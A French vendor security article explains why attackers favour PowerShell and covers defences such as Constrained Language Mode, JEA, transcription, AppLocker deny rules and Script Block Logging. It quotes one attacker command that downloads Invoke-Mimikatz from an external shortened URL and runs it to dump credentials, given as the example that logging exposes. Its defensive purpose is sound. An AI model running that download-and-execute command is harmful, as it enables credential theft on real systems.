Magic Quadrant™ pour la gestion des accès privilégiés 2025 : Netwrix reconnue pour la quatrième année consécutive. Téléchargez le rapport.

Plateforme
Glossaire de la cybersécuritéCatalogue d'attaques
Pourquoi PowerShell est-il si populaire auprès des attaquants ?

Pourquoi PowerShell est-il si populaire auprès des attaquants ?

Il existe un vieux dicton : « L'outil d'une personne est l'arme d'une autre. » Cela est certainement vrai pour Windows PowerShell. Inclus dans chaque système d'exploitation Windows aujourd'hui, cette puissante interface en ligne de commande et langage de script est utilisée par les professionnels de l'informatique pour l'administration système, la gestion à distance, la cybersécurité, le développement logiciel et plus encore.

D'un autre côté, il est utilisé par les acteurs de la menace pour les aider à réaliser des actes malveillants tels que la livraison de logiciels malveillants, le déploiement de rançongiciels et l'exfiltration de données. Cet article explique pourquoi PowerShell est si utile aux attaquants et fournit des stratégies précieuses pour défendre votre environnement informatique.

Catalogue d'attaques :

Pourquoi PowerShell est-il une plateforme d'attaque si populaire ?

Alors, pourquoi tant de cybercriminels utilisent-ils PowerShell pour lancer leurs attaques ? Eh bien, pour une chose, c'est gratuit. Parmi les autres raisons, on peut citer les suivantes :

  • La plupart des utilisateurs professionnels ont PowerShell activé sur leurs appareils de point de terminaison Windows.
  • PowerShell utilise une approche sans fichier qui exécute des commandes et des scripts directement en mémoire, ce qui rend sa détection difficile.
  • Il peut accéder à presque n'importe quel appareil Windows en initiant une connexion à distance.
  • Les acteurs de menaces peuvent exploiter PowerShell à l'aide d'autres outils malveillants tels que Empire, DeathStar et CrackMapExec.
  • Il existe une multitude de scripts disponibles sur GitHub et d'autres endroits (tels que Invoke-Mimikatz) pour que les attaquants les utilisent.

Une fois qu'un attaquant obtient un accès initial dans un environnement sur site, il peut utiliser PowerShell pour gagner en visibilité sur votre réseau et se déplacer latéralement pour accéder à vos données les plus sensibles et autres ressources informatiques.

Comment réduire le risque lié à PowerShell

Étant donné que PowerShell est utilisé dans de nombreux types d'attaques différents, il est impératif de mettre en place des mesures de protection pour combattre son utilisation malveillante. Examinons certaines méthodes pour réduire le risque de menaces induites par PowerShell.

Restreindre les privilèges d'administrateur local

À l'ère du réseau Zero Trust, les utilisateurs standards ne devraient pas avoir de droits d'administrateur local sur leurs appareils à moins que cela ne soit nécessaire pour leur travail. Bien que refuser les droits d'administrateur local ne restreigne pas l'accès à PowerShell, cela limite ce qu'un utilisateur — ou un adversaire ayant compromis son compte — peut faire avec PowerShell car de nombreuses commandes et scripts PowerShell nécessitent des privilèges élevés pour fonctionner. De plus, refuser les droits d'administrateur local limitera l'accès d'un utilisateur aux dossiers sensibles et aux paramètres système.

Utilisez le mode de langue contrainte

Windows PowerShell prend en charge différents modes linguistiques qui déterminent les parties de PowerShell pouvant être utilisées. Le mode Langage Restreint a été développé pour le système d'exploitation Windows RT et a ensuite été ajouté à Windows PowerShell V5, utilisé aujourd'hui sur tous les systèmes d'exploitation Windows modernes.

Vous pouvez démarrer une session PowerShell en mode Langage Complet, comme indiqué ci-dessous :

Image

Vous pouvez placer une session PowerShell en mode Langage Restreint avec la commande suivante :

Image

En mode Langage Restreint, PowerShell est limité à un ensemble restreint de commandes et de scripts. L'exécution de commandes en dehors de ces restrictions est bloquée, comme le montre l'exemple ci-dessous :

Image

Le mode Langage Restreint limite également l'accès à certaines fonctionnalités de PowerShell telles que l'utilisation de profils PowerShell et la capacité de charger des modules PowerShell supplémentaires. Collectivement, ces restrictions aident à empêcher les pirates d'utiliser PowerShell pour contourner les mesures de sécurité du système.

Malheureusement, il y a une faiblesse flagrante avec cette mesure de protection : Un utilisateur peut simplement démarrer une nouvelle session PowerShell, qui par défaut s'exécutera en mode Langage Complet et aura un accès complet aux fonctionnalités de PowerShell.

Utilisez PowerShell Just Enough Administration (JEA)

PowerShell Just Enough Administration vous permet d'appliquer un système basé sur les rôles pour les tâches administratives. Considérez JEA comme le principe de moindre privilège pour la sécurité de PowerShell. Lorsqu'un utilisateur commence une session JEA, il se voit attribuer une forme restreinte de PowerShell qui lui permet d'effectuer uniquement les tâches et commandes associées à son rôle. Cela l'empêche d'exécuter des commandes privilégiées dont il n'a pas besoin.

Activer JEA est un processus en plusieurs étapes. La première étape consiste à créer un fichier de compatibilité de rôle, comme indiqué ci-dessous :

Image

Vous devez ensuite éditer le fichier .prsc et définir les capacités spécifiques du rôle, telles que permettre à l'utilisateur d'exécuter des commandes spécifiques. Les autres étapes comprennent la création d'un fichier de configuration de session puis l'utilisation de ce fichier pour enregistrer un nouveau point de terminaison JEA sur l'ordinateur local.

Gagnez en visibilité sur l'activité

Vous devez savoir ce qui se passe dans votre environnement informatique. Une option consiste à utiliser le transfert d'événements Windows (WEF), un outil gratuit du système d'exploitation Windows qui peut collecter et centraliser les journaux d'événements de systèmes distribués. Une autre approche serait une solution de gestion des informations et des événements de sécurité (SIEM). Les SIEM peuvent collecter des données d'une large collection de systèmes disparates et agréger ces données pour fournir une vue d'ensemble complète de ce qui se passe dans votre environnement.

Vous devriez également activer les transcriptions système de PowerShell, qui enregistreront toute l'activité PowerShell sur les systèmes désignés afin que les commandes exécutées puissent être examinées. Cela peut être utile pour les audits et les enquêtes judiciaires. Pour activer les transcriptions système de PowerShell, créez un Group Policy object (GPO), allez dans Configuration de l'ordinateur > Modèles d'administration > Composants Windows > PowerShell et activez Enable PowerShell Transcription comme indiqué ci-dessous :

Image

Utilisez AppLocker pour désactiver PowerShell et les scripts

AppLocker est livré avec Windows 10 Enterprise et offre un moyen pratique d'autoriser les applications et les scripts. Il peut être configuré localement sur un système ou via Stratégie de groupe. Pour utiliser Stratégie de groupe, créez un objet de stratégie de groupe (GPO), allez dans Configuration de l'ordinateur > Paramètres Windows > Paramètres de sécurité > Stratégies de contrôle d'application > AppLocker. Créez une règle exécutable et sélectionnez Refuser comme indiqué ci-dessous :

Image

Vous pouvez bloquer une application par éditeur, chemin de fichier ou empreinte de fichier. La politique d'exemple ci-dessous bloque par empreinte de fichier et autorise uniquement les administrateurs locaux à exécuter PowerShell ; l'accès par tout autre utilisateur sera bloqué.

Image

Vous pouvez ensuite distribuer la politique à l'aide de Group Policy ou l'exporter sous forme de fichier XML et l'importer dans un MDM tel que Intune. Le code XML pour la politique exportée est présenté ci-dessous :

      <AppLockerPolicy Version="1">

<RuleCollection Type="Exe" EnforcementMode="NotConfigured">

<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">

<Conditions>

<FilePathCondition Path="*" />

</Conditions>

</FilePathRule>

<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">

<Conditions>

<FileHashCondition>

<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />

</FileHashCondition>

</Conditions>

</FileHashRule>

</RuleCollection>

<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />

<RuleCollection Type="Script" EnforcementMode="NotConfigured" />

<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />

<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />

</AppLockerPolicy>
      

Vous pouvez également vous assurer que seuls les fichiers d'un dossier désigné peuvent être exécutés en utilisant des politiques de règles de script pour créer une règle d'autorisation pour un dossier spécifié à l'aide d'un script PowerShell simple comme celui-ci :

Image

Détectez les scripts PowerShell malveillants avec la journalisation des blocs de script

PowerShell 5 introduit plusieurs nouvelles techniques pour suivre les scripts PowerShell malveillants. L'une d'elles est le Script Block Logging. Ce niveau de journalisation est activé par défaut avec PowerShell 5 et fournit une journalisation en clair du script complet exécuté par PowerShell. Cela est utile car de nombreuses attaques PowerShell tirent parti de scripts codés qui sont difficiles à déchiffrer.

Examinons une méthode qu'un attaquant pourrait utiliser pour dissimuler ses scripts, en employant un script comme celui-ci qui téléchargera et exécutera Invoke-Mimikatz:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

Image

En utilisant PowerSploit et Out-EncodedCommand, un adversaire peut créer une version encodée de cette commande qui est encore plus obscurcie :

Image

Cependant, les journaux d'événements PowerShell montrent toujours exactement ce qui a été exécuté, sans aucun codage :

Image

Comment Netwrix peut aider

Alors que les organisations peuvent utiliser ces stratégies d'atténuation et de détection pour surveiller et se protéger contre les scripts malveillants, il existe des produits tiers qui simplifient la tâche. Netwrix Endpoint Privilege Manager facilite la création de listes d'autorisation et de blocage pour bloquer automatiquement les utilisateurs de l'exécution d'applications indésirables, y compris PowerShell. De plus, cet outil vous permet de supprimer les droits d'administrateur local tout en permettant toujours aux utilisateurs d'effectuer les tâches administratives nécessaires pour une haute productivité.

PowerShell est un outil puissant. Assurez-vous de prendre les précautions nécessaires pour éviter que les adversaires ne puissent l'utiliser si facilement contre vous.

Partager sur

Voir les attaques de cybersécurité associées

Abus des autorisations d'application Entra ID – Fonctionnement et stratégies de défense

Modification de AdminSDHolder – Fonctionnement et stratégies de défense

Attaque AS-REP Roasting - Fonctionnement et stratégies de défense

Attaque Hafnium - Fonctionnement et stratégies de défense

Attaques DCSync expliquées : Menace pour la sécurité d'Active Directory

Attaque Pass the Hash

Comprendre les attaques Golden Ticket

Attaque des comptes de service gérés par groupe

Attaque DCShadow – Fonctionnement, exemples concrets et stratégies de défense

Injection de prompt ChatGPT : Comprendre les risques, exemples et prévention

Attaque d'extraction de mot de passe NTDS.dit

Attaque Kerberoasting – Fonctionnement et stratégies de défense

Explication de l'attaque Pass-the-Ticket : Risques, Exemples et Stratégies de Défense

Attaque par pulvérisation de mots de passe

Attaque d'extraction de mot de passe en clair

Vulnérabilité Zerologon expliquée : Risques, Exploits et Atténuation

Attaques de rançongiciels sur Active Directory

Déverrouillage d'Active Directory avec l'attaque Skeleton Key

Mouvement latéral : Qu'est-ce que c'est, comment ça fonctionne et préventions

Attaques de l'homme du milieu (MITM) : ce qu'elles sont et comment les prévenir

Attaque Silver Ticket

4 attaques de compte de service et comment s'en protéger

Comment prévenir les attaques de logiciels malveillants d'affecter votre entreprise

Qu'est-ce que le Credential Stuffing ?

Compromettre SQL Server avec PowerUpSQL

Qu'est-ce que les attaques de Mousejacking et comment se défendre contre elles

Vol de credentials avec un fournisseur de support de sécurité (SSP)

Attaques par tables arc-en-ciel : leur fonctionnement et comment se défendre

Un regard approfondi sur les attaques par mot de passe et comment les arrêter

Reconnaissance LDAP

Contournement de l'authentification multifacteur avec l'attaque Pass-the-Cookie

Attaque Golden SAML